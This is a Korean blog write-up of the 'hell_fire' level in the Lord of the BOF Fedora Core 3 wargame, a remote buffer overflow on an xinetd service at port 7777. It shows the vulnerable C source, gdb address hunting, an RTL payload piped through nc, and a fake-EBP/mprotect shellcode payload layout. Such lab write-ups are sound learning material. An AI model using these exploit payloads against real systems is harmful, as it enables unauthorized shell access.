another fake ebp or got overwriting
공격파일에 setuid가 걸려있지 않다…uid, gid 권한 모두 root…!
그래도 다른 user에게 hell_fire에 실행권한이 있고, hell_fire.c를 읽을 수 있다.
$ cat /etc/services | grep hell_fire
hell_fire 이름으로 7777 포트에서 서비스가 돌어가고 있음
$ find / -name hell_fire 2>/dev/null
서비스를 구동하는 파일 찾기
xinetd는 여러가지 서비스 데몬이 모여있는 슈퍼 데몬
네트워크 서버들은 요청을 기다리며 대기하고 있는 서브 프로세스가 없는데, 이 일은 inetd라는 인터넷 슈퍼 서버가 대신하게 된다.
inetd는 설정된 모든 네트워크 포트에서 기다리고 있다가 요청이 오면 해당 서버에 이를 전달한다.
/etc/xinetd.d 디렉터리에 각 서비스의 설정 파일이 있다.
$ cat /etc/xinetd.d/hell_fire
disable = no => 해당 서비스 사용여부 (no : 사용함)
flags = REUSE => 소켓 작동 관련 플레그
socket_type = stream => stream : tcp 소켓
wait = no => no : 새로운 접속 시 대기 시간 없이 처리
user = hell_fire => 데몬을 실행하는 유저의 권한
server = /home/dark_eyes/hell_fire => 해당 서비스를 처리할 서버 프로그램 위치
hell_fire 서비스가 hell_fire 사용자 권한으로 돌아가고 7777 포트에 연결하면 /home/dark_eyes 디렉터리의 hell_fire 파일 실행된다.
이번 레벨에서는 uid와 gid 모두 root이고, 실행권한에 SetUID가 걸려있지 않다.
따라서 파일이 실행되는 동안 hell_fire의 권한으로 쉘을 실행시킬 수 없다.
하지만 xinetd.d로 실행되는 서비스는 공격 대상 프로그램에 SetUID 권한이 없더라고 서비스를 운영하는 유저에 해당하는 쉘 권한을 획득할 수 있다.
xinetd.d 데몬의 경우 표준 입출력의 대상이 클라이언트이므로 local exploit에서 했던 쉘코드나 RTL 공격이 가능하다.
공격 코드 -> RTL 공격, “/bin/sh”는 system 함수 내에 있는 것 사용
/*
The Lord of the BOF : The Fellowship of the BOF
-hell_fire
-Remote BOF on Fedora Core 3
-hint : another fake ebp or got overwriting
-port : TCP 7777
*/
#include<stdio.h>
int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);
//give me a food
fgets(temp, 1024, stdin); //stdin의 임시버퍼 사용 가능
//save sfp
memcpy(saved_sfp, buffer+264, 4); //main의 SFP가 buffer로부터 거리가 264
//overflow!
strcpy(buffer, temp);
//restore sfp
memcpy(buffer+264, saved_sfp, 4); //저장한 초기 SFP를 SFP자리에 넣음. SFP 변조 불가
printf("%s\n", buffer);
}
* Remote BOF, TCP 7777 : 이번에는 포트 7777번으로 연결해서 푸는 remote BOF 문제이다.
* char buffer[256] : buffer의 크기가 256. 하지만 Stack Dummy 조건으로 buffer와 SFP 사이에 dummy가 붙을 것
* char saved_sfp[4] : SFP를 저장하는 배열
* fflush(stdout) : 출력 버퍼의 내용을 모두 지운다.
* fgets(temp, 1024, stdin) : 1024 byte 크기로 표준입력(stdin)받은 문자열을 temp가 가리키는 buffer에 저장. EOF나 newline을 만나면 읽기를 끝내고 “\0”이 buffer의 마지막에 저장된다.
이번에도 stdin으로 받는 경우 python 명령으로 payload가 전달될 때 쉘은 stdin으로부터 EOF를 전달받아 payload가 끊기는 문제가 생기기 때문에 cat 명령어를 사용하도록 한다.
(cat 명령은 파일을 지정하지 않을 경우 표준입력 받고 그대로 표준출력하므로)
* memcpy(saved_sfp, buffer+264, 4) : 이번에도 buffer+264에 위치한 SFP를 saved_sfp에 복사한다.
* strcpy(buffer, temp) : temp에 저장된 문자열을 buffer에 복사한다. strcpy는 문자열 끝을 검사하지 않고 그대로 다 받으므로 overflow 취약점이 있다.
* memcpy(buffer+264, saved_sfp, 4) : 초기 SFP 값을 복사한 saved_sfp를 buffer+264에 다시 복사한다. Dummy 8 byte가 추가되고 buffer에서 SFP까지 거리가 264임을 알 수 있다. SFP가 변조되어도 다시 초기 SFP로 덮어지므로 SFP 변조가 불가능하다.
## do_system 함수
https://sangu1ne.tistory.com/7?category=39356 참고
do_system 함수는 system 함수 내에서 호출되는 함수이다.
do_system 함수 내에서 execve 함수를 호출한다.
(gdb) p system
system 함수 주소 : 0x7507c0
(gdb) x/10i 0x7507c0
내려가보면 do_system 함수를 호출한다.
do_system 함수 주소 : 0x750320
(gdb) x/20i 0x750320
do_system 함수로 내부를 보면 해서 많이 내려가보면 execve 함수를 호출한다.
execve 함수 주소 : 0x7a5490
이때 sigprocmask함수 호출 다음 부분을 주목하자. Sigprocmask 함수를 호출하고 do_system+1124는 execve 함수의 인자를 구성하는 단계이다.
call하기 직전 execve 함수 상태는
execve(“/bin/sh”, {“/home/dark_eyes/hell_fire”, NULL}, envp);
이러하다. 이것은 sh 쉘을 hell_fire라는 이름으로 실행하는 의미이다.
따라서 do_system 함수 내의 0x750784 부분은
char *argv[] = {“/home/dark_eyes/hell_fire”, null};
execve(“/bin/sh”, argv, envp);
을 형성하는 부분이다.
0x750784 이 주소를 RET에 넣어주면 “/bin/sh”가 실행될 수 있다.
(이전 LOB Redhat을 할 때에도 system 함수 내부에 “/bin/sh”를 내포하고 있는 것을 이용해 RTL을 한 적이 있다. 그때는 system 함수의 시작주소에서 시작해서 memcmp로 “/bin/sh”와 일치하는 주소를 찾아서 넣었었다.)
$ (python -c ‘print “A”*264+”B”*4+”\x84\x07\x75\x00”’;cat) | nc localhost 7777
주소를 줄 때 “\x84\x07\x75”로 ret에 넣을 땐 안 됐는데, “\x84\x07\x75\x00”으로 주니까 쉘이 따졌다.
## stdin 임시 버퍼 + mprotect 함수 사용
https://d4m0n.tistory.com/98?category=792703 참고
Fgets 함수 인자 주소 : 0x8049788
Fgets 함수가 호출되고 breakpoint를 잡으면,
stdin의 주소는 0x0083f720이고 stdin 임시 버퍼의 시작 주소는 stdin+12인 0xf6ffe000
$ ./hell &
Maps로 확인해본 결과, 임시 버퍼 영역은 실행가능하지 않다.
실행 권한을 부여할 방법을 찾아보면, mprotect 함수가 있다.
mprotect 함수 : 메모리 영역의 접근 권한을 제어하는 함수
이 mprotect 함술를 사용해 stdin 임시 버퍼 영역에 실행 권한을 부여할 수 있다.
main 함수가 return 할 때 esp를 stdin의 임시 버퍼 영역으로 돌려야 한다.
main 함수가 호출되기 전의 함수, main 함수를 호출한 함수의 ebp를 사용하면 main 함수의 ebl를 사용하지 못하는 문제 해결 가능 (main 함수의 ebp 사용하지 못하는 이유는 SFP가 memcpy로 인해 바꿔도 덮혀지므로)
리눅스에서 C언어로 작성된 binary는 __libc_start_main 함수에서 main 함수가 호출된다.
따라서 main 함수의 stack frame의 위에는 __libc_start_main 함수의 stack frame이 있을 것이다.
이 함수의 ebp를 이용해 fake ebp 기법을 적용하여 esp를 stdin 임시 버퍼 영역으로 이동시킨다.
함수 프롤로그가 끝난 main+3에서 bp를 잡고, 실행시켜서 esp를 출력하면 이것이 __libc_start_main 함수의 ebp이다.
Main 함수와 __libc_start_main 함수의 ebp 거리는 96
Main 함수 buffer : shellcode + NOP
RET : leave_ret gadget
Leave_ret 주소 : 0x8048561
__libc_start_main 함수의 ebp까지 dummy로 채운다. 88 byte (main의 SFP부터 __libc_start_main의 EBP 전까지가 96이므로 SFP, leave_ret의 8 byte 제외하면 88 byte)
__libc_start_main 함수의 SFP에 fake_sfp인 stdin 임시 버퍼 주소를 쓰면 esp가 stdin 임시 버퍼로 이동한다.
mprotect 함수로 stdin 임시 버퍼에 실행권한을 주면 stdin 임시 버퍼 호출 시 shellcode가 실행된다.
mprotect(const void *addr, size_t len, int prot);
mprotect에는
*addr에 stdin 임시 버퍼의 주소
len에는 1024, prot는 7(rwx)로 인자를 구성한다.
#payload
Shellcode(24) + NOP(240)+SFP(4)+leave_ret(0x8048561)+dummy(88)+
fake_ebp(4)+leave_ret(4)+mprotect(0x714670)+&stdin(0xf6ffe000)+&stdin(0xf6ffe000)+1024(4)+7(4)
Interactive 함수 : 마지막에 실행된 shell에 cmd로 입력해서 데이터를 주면 recv로 원하는 것을 얻을 수 있음 (cmd로 만약 id를 주면 recv 시 hell_fire를 받을 것이고, my-pass를 줄 경우 recv 시 hell_fire의 passwd 받을 것!)
P32는 주소를 payload 작성 시 주소를 little endian으로 쓴 것처럼 바꿔주는 역할
Shellcode는 25 byte 사용
Leave_ret은 main 함수의 leave 주소
Payload를 만들고 TCP SOCK_STREAM 방식 소켓 생성, “localhost”의 7777 포트에 connect
Payload를 localhost에 전달하고 recv
Fake_ebp 주소: buffer 시작부터 leave_ret 전까지이므로 주소는 fake_ebp까지 payload 크기를 stdin_addr에서 더하고, 4를 더 더한다. (fake_ebp까지 포함이므로 payload 길이 + 4)
다음 leave_ret 지나면서 esp가 mprotect 함수를 가리키게 하기 위해서이다.
됐다…!!!!
“sign me up”
[FC3] evil_wizard -> dark_stone (0) | 2019.07.12 |
---|---|
[FC3] hell_fire -> evil_wizard (0) | 2019.07.12 |
[FC3] iron_golem -> dark_eyes (0) | 2019.07.06 |
[FC3] gate -> iron_golem (0) | 2019.07.05 |
[FC3] 환경/메모리 보호 기법 요약 (0) | 2019.07.04 |